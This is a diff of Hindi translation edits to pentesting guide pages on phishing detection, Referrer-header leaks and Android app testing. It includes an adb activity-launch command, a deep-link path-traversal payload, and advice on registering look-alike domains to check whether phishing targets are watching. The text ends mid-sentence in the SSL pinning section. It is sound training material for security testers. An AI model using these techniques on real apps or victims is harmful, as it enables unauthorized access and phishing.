जांचने का एक आसान तरीका है कि क्या आपका डोमेन किसी भी ब्लैकलिस्ट में दिखाई देता है [https://malwareworld.com/](https://malwareworld.com) का उपयोग करना। -हालांकि, यह जानने के अन्य तरीके हैं कि क्या पीड़ित **सक्रिय रूप से संदिग्ध फ़िशिंग गतिविधियों की खोज कर रहा है** जैसा कि समझाया गया है: +हालांकि, यह जानने के अन्य तरीके हैं कि क्या पीड़ित **संदिग्ध फ़िशिंग गतिविधियों की सक्रिय रूप से खोज कर रहा है** जैसा कि समझाया गया है: {{#ref}} detecting-phising.md {{#endref}} -आप **पीड़ित के डोमेन के बहुत समान नाम वाला एक डोमेन खरीद सकते हैं** **और/या एक प्रमाणपत्र उत्पन्न कर सकते हैं** एक **उपडोमेन** के लिए जो आपके द्वारा नियंत्रित एक डोमेन का **कीवर्ड** पीड़ित के डोमेन को **शामिल करता है**। यदि **पीड़ित** उनके साथ किसी प्रकार की **DNS या HTTP इंटरैक्शन** करता है, तो आप जानेंगे कि **वह सक्रिय रूप से देख रहा है** संदिग्ध डोमेन और आपको बहुत सतर्क रहने की आवश्यकता होगी। +आप **पीड़ित के डोमेन के बहुत समान नाम** के साथ एक डोमेन खरीद सकते हैं **और/या एक प्रमाणपत्र उत्पन्न कर सकते हैं** एक **उपडोमेन** के लिए जो आपके द्वारा नियंत्रित डोमेन का **कीवर्ड** शामिल करता है। यदि **पीड़ित** उनके साथ किसी प्रकार की **DNS या HTTP इंटरैक्शन** करता है, तो आप जानेंगे कि **वह सक्रिय रूप से खोज रहा है** संदिग्ध डोमेन और आपको बहुत सतर्क रहने की आवश्यकता होगी। ### फ़िशिंग का मूल्यांकन करें diff --git a/src/interesting-http.md b/src/interesting-http.md index 86ec074c7..bd6a0c145 100644 --- a/src/interesting-http.md +++ b/src/interesting-http.md @@ -6,11 +6,11 @@ Referrer वह हेडर है जिसका उपयोग ब्रा ## Sensitive information leaked -यदि किसी समय एक वेब पृष्ठ के अंदर कोई संवेदनशील जानकारी GET अनुरोध पैरामीटर पर स्थित है, यदि पृष्ठ में बाहरी स्रोतों के लिए लिंक हैं या एक हमलावर उपयोगकर्ता को एक URL पर जाने के लिए मजबूर/सुझाव देने में सक्षम है जो हमलावर द्वारा नियंत्रित है। यह नवीनतम GET अनुरोध के अंदर संवेदनशील जानकारी को निकालने में सक्षम हो सकता है। +यदि किसी समय एक वेब पृष्ठ के भीतर कोई संवेदनशील जानकारी GET अनुरोध पैरामीटर पर स्थित है, यदि पृष्ठ में बाहरी स्रोतों के लिए लिंक हैं या एक हमलावर उपयोगकर्ता को एक URL पर जाने के लिए मजबूर/सुझाव देने में सक्षम है जो हमलावर द्वारा नियंत्रित है। यह नवीनतम GET अनुरोध के भीतर संवेदनशील जानकारी को निकालने में सक्षम हो सकता है। ## Mitigation -आप ब्राउज़र को एक **Referrer-policy** का पालन करने के लिए कह सकते हैं जो **संवेदनशील जानकारी** को अन्य वेब अनुप्रयोगों में भेजने से **बचा** सके: +आप ब्राउज़र को एक **Referrer-policy** का पालन करने के लिए कह सकते हैं जो **संवेदनशील जानकारी** को अन्य वेब अनुप्रयोगों में भेजने से **रोक** सकती है: ``` Referrer-Policy: no-referrer Referrer-Policy: no-referrer-when-downgrade @@ -21,10 +21,10 @@ Referrer-Policy: strict-origin Referrer-Policy: strict-origin-when-cross-origin Referrer-Policy: unsafe-url ``` -## काउंटर-निवारण +## Counter-Mitigation -आप इस नियम को एक HTML मेटा टैग का उपयोग करके ओवरराइड कर सकते हैं (हमलावर को एक HTML इंजेक्शन का शोषण करने की आवश्यकता है): -```markup +आप इस नियम को एक HTML मेटा टैग का उपयोग करके ओवरराइड कर सकते हैं (हमलावर को एक HTML इंजेक्शन का लाभ उठाने की आवश्यकता है): +```html ``` diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 633c1b98f..a81bdf530 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -64,22 +64,22 @@ APK के **strings** पर नज़र डालकर आप **passwords**, **Manifest.xml** से पहचानी गई **Vulnerabilities** में शामिल हैं: -- **Debuggable Applications**: _Manifest.xml_ फ़ाइल में `debuggable="true"` के रूप में सेट की गई एप्लिकेशन जोखिम पैदा करती हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देती हैं जो शोषण की ओर ले जा सकते हैं। डिबग करने योग्य एप्लिकेशन को शोषित करने के तरीके को समझने के लिए, एक ट्यूटोरियल देखें जिसमें डिवाइस पर डिबग करने योग्य एप्लिकेशन को खोजने और शोषित करने के बारे में बताया गया है। +- **Debuggable Applications**: _Manifest.xml_ फ़ाइल में `debuggable="true"` के रूप में सेट की गई एप्लिकेशन जोखिम पैदा करती हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देती हैं जो शोषण की ओर ले जा सकते हैं। डिबग करने योग्य एप्लिकेशन को खोजने और शोषण करने के तरीके पर एक ट्यूटोरियल के लिए संदर्भित करें। - **Backup Settings**: संवेदनशील जानकारी से निपटने वाले एप्लिकेशनों के लिए `android:allowBackup="false"` विशेष रूप से सेट किया जाना चाहिए ताकि adb के माध्यम से अनधिकृत डेटा बैकअप को रोका जा सके, विशेष रूप से जब usb debugging सक्षम हो। - **Network Security**: _res/xml/_ में कस्टम नेटवर्क सुरक्षा कॉन्फ़िगरेशन (`android:networkSecurityConfig="@xml/network_security_config"`) सुरक्षा विवरण जैसे प्रमाणपत्र पिन और HTTP ट्रैफ़िक सेटिंग्स निर्दिष्ट कर सकते हैं। एक उदाहरण विशेष डोमेन के लिए HTTP ट्रैफ़िक की अनुमति देना है। - **Exported Activities and Services**: मैनिफेस्ट में निर्यातित गतिविधियों और सेवाओं की पहचान करना उन घटकों को उजागर कर सकता है जो दुरुपयोग के लिए संवेदनशील हो सकते हैं। गतिशील परीक्षण के दौरान आगे के विश्लेषण से यह पता चल सकता है कि इन घटकों का शोषण कैसे किया जाए। -- **Content Providers and FileProviders**: उजागर सामग्री प्रदाता अनधिकृत पहुंच या डेटा में संशोधन की अनुमति दे सकते हैं। FileProviders की कॉन्फ़िगरेशन की भी जांच की जानी चाहिए। +- **Content Providers and FileProviders**: उजागर सामग्री प्रदाता अनधिकृत डेटा तक पहुंच या संशोधन की अनुमति दे सकते हैं। FileProviders की कॉन्फ़िगरेशन की भी जांच की जानी चाहिए। - **Broadcast Receivers and URL Schemes**: ये घटक शोषण के लिए उपयोग किए जा सकते हैं, विशेष रूप से इनपुट कमजोरियों के लिए URL योजनाओं के प्रबंधन के तरीके पर ध्यान दिया जाना चाहिए। - **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, और `maxSdkVersion` विशेषताएँ समर्थित Android संस्करणों को इंगित करती हैं, सुरक्षा कारणों से पुराने, कमजोर Android संस्करणों का समर्थन न करने के महत्व को उजागर करती हैं। -**strings.xml** फ़ाइल से, संवेदनशील जानकारी जैसे API keys, कस्टम स्कीमा, और अन्य डेवलपर नोट्स खोजे जा सकते हैं, जो इन संसाधनों की सावधानीपूर्वक समीक्षा की आवश्यकता को उजागर करते हैं। +**strings.xml** फ़ाइल से संवेदनशील जानकारी जैसे API keys, कस्टम स्कीमा, और अन्य डेवलपर नोट्स का पता लगाया जा सकता है, जो इन संसाधनों की सावधानीपूर्वक समीक्षा की आवश्यकता को उजागर करता है। ### Tapjacking **Tapjacking** एक हमला है जहाँ एक **malicious** **application** लॉन्च किया जाता है और **एक पीड़ित एप्लिकेशन के ऊपर खुद को रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता को इसके साथ बातचीत करने के लिए धोखा दिया जाए, जबकि यह बातचीत को पीड़ित ऐप के पास भेज रहा है।\ प्रभाव में, यह **उपयोगकर्ता को यह जानने से अंधा कर रहा है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**। -अधिक जानकारी प्राप्त करें: +अधिक जानकारी के लिए देखें: {{#ref}} tapjacking.md @@ -87,9 +87,9 @@ tapjacking.md ### Task Hijacking -एक **activity** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, कार्य Hijacking के लिए संवेदनशील है। इसका मतलब है कि एक **application** स्थापित की जा सकती है और यदि इसे वास्तविक एप्लिकेशन से पहले लॉन्च किया जाता है, तो यह **वास्तविक एप्लिकेशन के कार्य को हाइजैक कर सकती है** (ताकि उपयोगकर्ता **malicious application** के साथ बातचीत कर रहा हो, यह सोचते हुए कि वह असली का उपयोग कर रहा है)। +एक **activity** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, कार्य Hijacking के लिए संवेदनशील है। इसका मतलब है कि एक **application** स्थापित की जा सकती है और यदि इसे वास्तविक एप्लिकेशन से पहले लॉन्च किया जाता है, तो यह **वास्तविक एप्लिकेशन के कार्य को हाइजैक कर सकती है** (ताकि उपयोगकर्ता **malicious application के साथ बातचीत कर रहा हो, यह सोचते हुए कि वह असली का उपयोग कर रहा है**). -अधिक जानकारी में: +अधिक जानकारी के लिए देखें: {{#ref}} android-task-hijacking.md @@ -99,28 +99,28 @@ android-task-hijacking.md **Internal Storage** -Android में, फ़ाइलें **internal** storage में **stored** होती हैं ताकि केवल **app** जो उन्हें **created** करती है, उन्हें **accessible** किया जा सके। यह सुरक्षा उपाय Android ऑपरेटिंग सिस्टम द्वारा **enforced** किया गया है और अधिकांश एप्लिकेशनों की सुरक्षा आवश्यकताओं के लिए सामान्यतः पर्याप्त है। हालाँकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलों को विभिन्न एप्लिकेशनों के बीच **shared** किया जा सके। फिर भी, ये मोड अन्य एप्लिकेशनों द्वारा इन फ़ाइलों तक पहुँच को **restrict** नहीं करते हैं, जिसमें संभावित रूप से malicious एप्लिकेशन भी शामिल हैं। +Android में, फ़ाइलें **internal** storage में **stored** होती हैं ताकि केवल **app** जो उन्हें **created** करती है, उन्हें **access** कर सके। यह सुरक्षा उपाय Android ऑपरेटिंग सिस्टम द्वारा **enforced** किया गया है और अधिकांश एप्लिकेशनों की सुरक्षा आवश्यकताओं के लिए सामान्यतः पर्याप्त है। हालाँकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलों को विभिन्न एप्लिकेशनों के बीच **shared** किया जा सके। फिर भी, ये मोड अन्य एप्लिकेशनों द्वारा इन फ़ाइलों तक पहुँच को **restrict** नहीं करते, जिसमें संभावित रूप से malicious एप्लिकेशन भी शामिल हैं। 1. **Static Analysis:** -- **Ensure** करें कि `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` का उपयोग **carefully scrutinized** किया गया है। ये मोड फ़ाइलों को **unintended or unauthorized access** के लिए **potentially expose** कर सकते हैं। +- **Ensure** करें कि `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` का उपयोग **carefully scrutinized** किया गया है। ये मोड फ़ाइलों को **unintended या unauthorized access** के लिए **potentially expose** कर सकते हैं। 2. **Dynamic Analysis:** -- **Verify** करें कि ऐप द्वारा बनाई गई फ़ाइलों पर **permissions** सेट की गई हैं। विशेष रूप से, **check** करें कि क्या कोई फ़ाइलें **विश्व स्तर पर पढ़ने या लिखने के लिए सेट की गई हैं**। यह एक महत्वपूर्ण सुरक्षा जोखिम पैदा कर सकता है, क्योंकि यह **किसी भी एप्लिकेशन** को जो डिवाइस पर स्थापित है, उसकी उत्पत्ति या इरादे की परवाह किए बिना, इन फ़ाइलों को **read or modify** करने की अनुमति देगा। +- **Verify** करें कि ऐप द्वारा बनाई गई फ़ाइलों पर **permissions** सेट की गई हैं। विशेष रूप से, **check** करें कि क्या कोई फ़ाइलें **विश्व स्तर पर पढ़ने या लिखने के लिए सेट की गई हैं**। यह एक महत्वपूर्ण सुरक्षा जोखिम पैदा कर सकता है, क्योंकि यह **किसी भी एप्लिकेशन** को जो डिवाइस पर स्थापित है, उसकी उत्पत्ति या इरादे की परवाह किए बिना, इन फ़ाइलों को **पढ़ने या संशोधित** करने की अनुमति देगा। **External Storage** **External storage** पर फ़ाइलों के साथ काम करते समय, कुछ सावधानियाँ बरतनी चाहिए: 1. **Accessibility**: -- बाहरी संग्रहण पर फ़ाइलें **globally readable and writable** होती हैं। इसका मतलब है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुँच सकता है। +- बाहरी संग्रहण पर फ़ाइलें **globally readable और writable** होती हैं। इसका मतलब है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुँच सकता है। 2. **Security Concerns**: - पहुँच की आसानी को देखते हुए, सलाह दी जाती है कि **संवेदनशील जानकारी** को बाहरी संग्रहण पर **न रखें**। - बाहरी संग्रहण को किसी भी एप्लिकेशन द्वारा हटाया या एक्सेस किया जा सकता है, जिससे यह कम सुरक्षित हो जाता है। 3. **Handling Data from External Storage**: - हमेशा बाहरी संग्रहण से प्राप्त डेटा पर **input validation** करें। यह महत्वपूर्ण है क्योंकि डेटा एक अविश्वसनीय स्रोत से है। - बाहरी संग्रहण पर executables या class फ़ाइलों को गतिशील लोडिंग के लिए रखना दृढ़ता से हतोत्साहित किया जाता है। -- यदि आपके एप्लिकेशन को बाहरी संग्रहण से executable फ़ाइलें प्राप्त करनी हैं, तो सुनिश्चित करें कि ये फ़ाइलें **signed and cryptographically verified** हैं इससे पहले कि उन्हें गतिशील रूप से लोड किया जाए। यह आपके एप्लिकेशन की सुरक्षा अखंडता बनाए रखने के लिए महत्वपूर्ण है। +- यदि आपके एप्लिकेशन को बाहरी संग्रहण से executable फ़ाइलें प्राप्त करनी हैं, तो सुनिश्चित करें कि ये फ़ाइलें **signed और cryptographically verified** हैं इससे पहले कि उन्हें गतिशील रूप से लोड किया जाए। यह आपके एप्लिकेशन की सुरक्षा अखंडता बनाए रखने के लिए महत्वपूर्ण है। -बाहरी संग्रहण को `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` में **accessed** किया जा सकता है। +बाहरी संग्रहण को `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` में **access** किया जा सकता है। > [!NOTE] > Android 4.4 (**API 17**) से शुरू होकर, SD कार्ड में एक निर्देशिका संरचना है जो **एक ऐप से उस ऐप के लिए विशेष रूप से निर्देशिका तक पहुँच को सीमित करती है**। यह malicious एप्लिकेशन को किसी अन्य ऐप की फ़ाइलों तक पढ़ने या लिखने की पहुँच प्राप्त करने से रोकता है। @@ -153,7 +153,7 @@ A good way to test this is to try to capture the traffic using some proxy like B ### Other checks -- यह अनुशंसा की जाती है कि **APK को obfuscate करें** ताकि हमलावरों के लिए रिवर्स इंजीनियरिंग का काम कठिन हो जाए। +- यह अनुशंसा की जाती है कि **APK को obfuscate करें** ताकि हमलावरों के लिए रिवर्स इंजीनियरिंग का काम कठिन हो सके। - यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **देखना चाहिए कि मोबाइल रूटेड है या नहीं** और इसके अनुसार कार्य करना चाहिए। - यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे देखना चाहिए कि क्या **emulator** का उपयोग किया जा रहा है। - यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **execute करने से पहले अपनी अखंडता की जांच करनी चाहिए** कि क्या इसे संशोधित किया गया है। @@ -274,11 +274,11 @@ You need to activate the **debugging** options and it will be cool if you can ** **Copy/Paste Buffer Caching** -Android का **clipboard-based** ढांचा ऐप्स में कॉपी-पेस्ट कार्यक्षमता को सक्षम करता है, फिर भी यह एक जोखिम प्रस्तुत करता है क्योंकि **अन्य एप्लिकेशन** क्लिपबोर्ड तक **पहुँच** सकते हैं, जिससे संवेदनशील डेटा उजागर हो सकता है। संवेदनशील अनुभागों के लिए **कॉपी/पेस्ट** कार्यों को अक्षम करना महत्वपूर्ण है, जैसे कि क्रेडिट कार्ड विवरण, डेटा लीक को रोकने के लिए। +Android का **clipboard-based** ढांचा ऐप्स में कॉपी-पेस्ट कार्यक्षमता को सक्षम करता है, फिर भी यह एक जोखिम प्रस्तुत करता है क्योंकि **अन्य एप्लिकेशन** क्लिपबोर्ड तक **पहुँच** सकते हैं, जिससे संवेदनशील डेटा उजागर हो सकता है। यह महत्वपूर्ण है कि संवेदनशील अनुभागों के लिए **कॉपी/पेस्ट** कार्यों को बंद कर दिया जाए, जैसे कि क्रेडिट कार्ड विवरण, डेटा लीक को रोकने के लिए। **Crash Logs** -यदि एक एप्लिकेशन **crash** होता है और **logs** सहेजता है, तो ये लॉग हमलावरों की मदद कर सकते हैं, विशेष रूप से जब एप्लिकेशन को रिवर्स-इंजीनियर नहीं किया जा सकता। इस जोखिम को कम करने के लिए, क्रैश पर लॉगिंग से बचें, और यदि लॉग को नेटवर्क के माध्यम से भेजना आवश्यक है, तो सुनिश्चित करें कि उन्हें सुरक्षा के लिए SSL चैनल के माध्यम से भेजा जाए। +यदि एक एप्लिकेशन **crash** होता है और **logs** सहेजता है, तो ये लॉग हमलावरों की मदद कर सकते हैं, विशेष रूप से जब एप्लिकेशन को रिवर्स-इंजीनियर नहीं किया जा सकता। इस जोखिम को कम करने के लिए, क्रैश पर लॉगिंग से बचें, और यदि लॉग को नेटवर्क के माध्यम से भेजा जाना चाहिए, तो सुनिश्चित करें कि उन्हें सुरक्षा के लिए SSL चैनल के माध्यम से भेजा जाए। As pentester, **try to take a look to these logs**. @@ -318,10 +318,10 @@ You can also start an exported activity from adb: ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF _**singleTask/singleInstance**_ के उपयोग को `android:launchMode` में एक गतिविधि के रूप में दुर्भावनापूर्ण के रूप में पहचानता है, लेकिन [इस](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण, यह स्पष्ट रूप से पुराने संस्करणों (API संस्करण < 21) पर ही खतरनाक है। +**NOTE**: MobSF _**singleTask/singleInstance**_ के उपयोग को `android:launchMode` में एक गतिविधि के रूप में दुर्भावनापूर्ण के रूप में पहचानता है, लेकिन [इस](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण, यह स्पष्ट रूप से केवल पुराने संस्करणों (API संस्करण < 21) पर खतरनाक है। > [!NOTE] -> ध्यान दें कि एक प्राधिकरण बाईपास हमेशा एक कमजोर बिंदु नहीं होता है, यह इस पर निर्भर करेगा कि बाईपास कैसे काम करता है और कौन सी जानकारी उजागर होती है। +> ध्यान दें कि एक प्राधिकरण बायपास हमेशा एक कमजोर बिंदु नहीं होता है, यह इस पर निर्भर करेगा कि बायपास कैसे काम करता है और कौन सी जानकारी उजागर होती है। **संवेदनशील जानकारी का रिसाव** @@ -329,46 +329,46 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity #### Tapjacking -यदि tapjacking को रोका नहीं गया, तो आप निर्यातित गतिविधि का दुरुपयोग कर सकते हैं ताकि **उपयोगकर्ता अप्रत्याशित क्रियाएँ** कर सके। Tapjacking के बारे में अधिक जानकारी के लिए [**यहाँ लिंक का पालन करें**](#tapjacking)। +यदि tapjacking को रोका नहीं गया, तो आप निर्यातित गतिविधि का दुरुपयोग कर सकते हैं ताकि **उपयोगकर्ता अप्रत्याशित क्रियाएँ** कर सके। [**Tapjacking क्या है, इसके बारे में अधिक जानकारी के लिए लिंक का पालन करें**](#tapjacking)। ### सामग्री प्रदाताओं का शोषण - संवेदनशील जानकारी तक पहुँच और हेरफेर [**यदि आप सामग्री प्रदाता क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#content-provider)\ -सामग्री प्रदाता मूल रूप से **डेटा साझा करने** के लिए उपयोग किए जाते हैं। यदि किसी ऐप में उपलब्ध सामग्री प्रदाता हैं, तो आप उनसे **संवेदनशील** डेटा निकालने में सक्षम हो सकते हैं। यह भी **SQL इंजेक्शन** और **पथ Traversals** का परीक्षण करना दिलचस्प है क्योंकि वे कमजोर हो सकते हैं। +सामग्री प्रदाता मूल रूप से **डेटा साझा करने** के लिए उपयोग किए जाते हैं। यदि किसी ऐप में उपलब्ध सामग्री प्रदाता हैं, तो आप उनसे **संवेदनशील** डेटा **निकालने** में सक्षम हो सकते हैं। यह भी **SQL इंजेक्शन** और **पथ ट्रैवर्सल** का परीक्षण करना दिलचस्प है क्योंकि वे कमजोर हो सकते हैं। -[**Drozer के साथ सामग्री प्रदाताओं का शोषण करना सीखें।**](drozer-tutorial/index.html#content-providers) +[**Drozer के साथ सामग्री प्रदाताओं का शोषण कैसे करें, यह जानें।**](drozer-tutorial/index.html#content-providers) ### **सेवाओं का शोषण** [**यदि आप सेवा क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#services)\ याद रखें कि एक सेवा की क्रियाएँ `onStartCommand` विधि में शुरू होती हैं। -एक सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्करण** कर सकता है और **एक प्रतिक्रिया** (या नहीं) लौटा सकता है। फिर, यदि कोई एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्रमाणीकरण उपायों को बाईपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** करें...\ -[**Drozer के साथ सेवाओं का शोषण करना सीखें।**](drozer-tutorial/index.html#services) +एक सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्कृत** कर सकता है और **एक प्रतिक्रिया** (या नहीं) लौटा सकता है। फिर, यदि कोई एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्रमाणीकरण उपायों को बायपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** करें...\ +[**Drozer के साथ सेवाओं का शोषण कैसे करें, यह जानें।**](drozer-tutorial/index.html#services) -### **प्रसारण रिसीवर्स का शोषण** +### **ब्रॉडकास्ट रिसीवर्स का शोषण** -[**यदि आप प्रसारण रिसीवर क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#broadcast-receivers)\ -याद रखें कि एक प्रसारण रिसीवर की क्रियाएँ `onReceive` विधि में शुरू होती हैं। +[**यदि आप ब्रॉडकास्ट रिसीवर क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#broadcast-receivers)\ +याद रखें कि एक ब्रॉडकास्ट रिसीवर की क्रियाएँ `onReceive` विधि में शुरू होती हैं। -एक प्रसारण रिसीवर एक प्रकार के संदेश की प्रतीक्षा करेगा। रिसीवर जिस तरह से संदेश को संभालता है, उसके आधार पर यह कमजोर हो सकता है।\ -[**Drozer के साथ प्रसारण रिसीवर्स का शोषण करना सीखें।**](#exploiting-broadcast-receivers) +एक ब्रॉडकास्ट रिसीवर एक प्रकार के संदेश की प्रतीक्षा करेगा। रिसीवर जिस तरह से संदेश को संभालता है, उसके आधार पर यह कमजोर हो सकता है।\ +[**Drozer के साथ ब्रॉडकास्ट रिसीवर्स का शोषण कैसे करें, यह जानें।**](#exploiting-broadcast-receivers) ### **स्कीमों / डीप लिंक का शोषण** -आप मैन्युअल रूप से गहरे लिंक की खोज कर सकते हैं, MobSF जैसे उपकरणों या [इस स्क्रिप्ट](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\ +आप मैन्युअल रूप से डीप लिंक की खोज कर सकते हैं, MobSF जैसे उपकरणों का उपयोग करके या [इस स्क्रिप्ट](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\ आप **adb** या एक **ब्राउज़र** का उपयोग करके एक घोषित **स्कीम** को **खोल** सकते हैं: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_ध्यान दें कि आप **पैकेज नाम छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए._ -```markup +_ध्यान दें कि आप **पैकेज नाम को छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए._ +```html Click me with alternative ``` -**कोड निष्पादित** +**कोड निष्पादित किया गया** **ऐप में निष्पादित होने वाले कोड** को खोजने के लिए, उस गतिविधि पर जाएं जिसे डीप लिंक द्वारा कॉल किया गया है और फ़ंक्शन **`onNewIntent`** को खोजें। @@ -380,8 +380,8 @@ _ध्यान दें कि आप **पैकेज नाम छोड **पैरामीटर पथ में** -आपको **यह भी जांचना चाहिए कि क्या कोई डीप लिंक URL के पथ के अंदर पैरामीटर का उपयोग कर रहा है** जैसे: `https://api.example.com/v1/users/{username}` , इस मामले में आप पथ यात्रा को मजबूर कर सकते हैं और कुछ इस तरह पहुंच सकते हैं: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -ध्यान दें कि यदि आप एप्लिकेशन के अंदर सही एंडपॉइंट्स पाते हैं, तो आप **ओपन रीडायरेक्ट** (यदि पथ का एक भाग डोमेन नाम के रूप में उपयोग किया जाता है), **खाता अधिग्रहण** (यदि आप CSRF टोकन के बिना उपयोगकर्ता विवरण को संशोधित कर सकते हैं और कमजोर एंडपॉइंट ने सही विधि का उपयोग किया) और किसी अन्य कमजोरियों का कारण बन सकते हैं। इसके बारे में अधिक [जानकारी यहाँ](http://dphoeniixx.com/2020/12/13-2/)। +आपको **यह भी जांचना चाहिए कि क्या कोई डीप लिंक URL के पथ के अंदर एक पैरामीटर का उपयोग कर रहा है** जैसे: `https://api.example.com/v1/users/{username}` , इस मामले में आप पथ यात्रा को मजबूर कर सकते हैं और कुछ ऐसा एक्सेस कर सकते हैं: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +ध्यान दें कि यदि आप एप्लिकेशन के अंदर सही एंडपॉइंट्स पाते हैं, तो आप **ओपन रीडायरेक्ट** (यदि पथ का एक भाग डोमेन नाम के रूप में उपयोग किया जाता है), **खाता अधिग्रहण** (यदि आप CSRF टोकन के बिना उपयोगकर्ता विवरण को संशोधित कर सकते हैं और कमजोर एंडपॉइंट ने सही विधि का उपयोग किया) और किसी अन्य कमजोरियों का कारण बन सकते हैं। इसके बारे में अधिक [जानकारी यहाँ](http://dphoeniixx.com/2020/12/13-2/) है। **अधिक उदाहरण** @@ -391,47 +391,47 @@ _ध्यान दें कि आप **पैकेज नाम छोड - **प्रमाणपत्रों की हमेशा सही तरीके से जांच नहीं की जाती** Android एप्लिकेशनों द्वारा। इन एप्लिकेशनों के लिए चेतावनियों की अनदेखी करना और स्व-हस्ताक्षरित प्रमाणपत्रों को स्वीकार करना या कुछ मामलों में HTTP कनेक्शन का उपयोग करना सामान्य है। - **SSL/TLS हैंडशेक के दौरान बातचीत कभी-कभी कमजोर होती है**, असुरक्षित सिफर सूट का उपयोग करते हुए। यह कमजोरी कनेक्शन को मैन-इन-द-मिडल (MITM) हमलों के प्रति संवेदनशील बनाती है, जिससे हमलावर डेटा को डिक्रिप्ट कर सकते हैं। -- **निजी जानकारी का लीक होना** एक जोखिम है जब एप्लिकेशन सुरक्षित चैनलों का उपयोग करके प्रमाणीकरण करते हैं लेकिन फिर अन्य लेनदेन के लिए असुरक्षित चैनलों के माध्यम से संचार करते हैं। यह दृष्टिकोण संवेदनशील डेटा, जैसे सत्र कुकीज़ या उपयोगकर्ता विवरण, को दुर्भावनापूर्ण संस्थाओं द्वारा इंटरसेप्शन से बचाने में विफल रहता है। +- **निजी जानकारी का लीक होना** एक जोखिम है जब एप्लिकेशन सुरक्षित चैनलों का उपयोग करके प्रमाणीकरण करते हैं लेकिन फिर अन्य लेनदेन के लिए असुरक्षित चैनलों के माध्यम से संचार करते हैं। यह दृष्टिकोण संवेदनशील डेटा, जैसे सत्र कुकीज़ या उपयोगकर्ता विवरण, को दुर्भावनापूर्ण संस्थाओं द्वारा इंटरसेप्शन से सुरक्षित नहीं रखता है। #### प्रमाणपत्र सत्यापन -हम **प्रमाणपत्र सत्यापन** पर ध्यान केंद्रित करेंगे। सुरक्षा बढ़ाने के लिए सर्वर के प्रमाणपत्र की अखंडता की जांच की जानी चाहिए। यह महत्वपूर्ण है क्योंकि असुरक्षित TLS कॉन्फ़िगरेशन और असुरक्षित चैनलों के माध्यम से संवेदनशील डेटा का संचरण महत्वपूर्ण जोखिम पैदा कर सकता है। सर्वर प्रमाणपत्रों को सत्यापित करने और कमजोरियों को संबोधित करने के लिए विस्तृत चरणों के लिए, [**यह संसाधन**](https://manifestsecurity.com/android-application-security-part-10/) व्यापक मार्गदर्शन प्रदान करता है। +हम **प्रमाणपत्र सत्यापन** पर ध्यान केंद्रित करेंगे। सुरक्षा बढ़ाने के लिए सर्वर के प्रमाणपत्र की अखंडता की जांच की जानी चाहिए। यह महत्वपूर्ण है क्योंकि असुरक्षित TLS कॉन्फ़िगरेशन और असुरक्षित चैनलों के माध्यम से संवेदनशील डेटा का संचरण महत्वपूर्ण जोखिम पैदा कर सकता है। सर्वर प्रमाणपत्रों को सत्यापित करने और कमजोरियों को संबोधित करने के लिए विस्तृत कदमों के लिए, [**यह संसाधन**](https://manifestsecurity.com/android-application-security-part-10/) व्यापक मार्गदर्शन प्रदान करता है। #### SSL पिनिंग -SSL पिनिंग एक 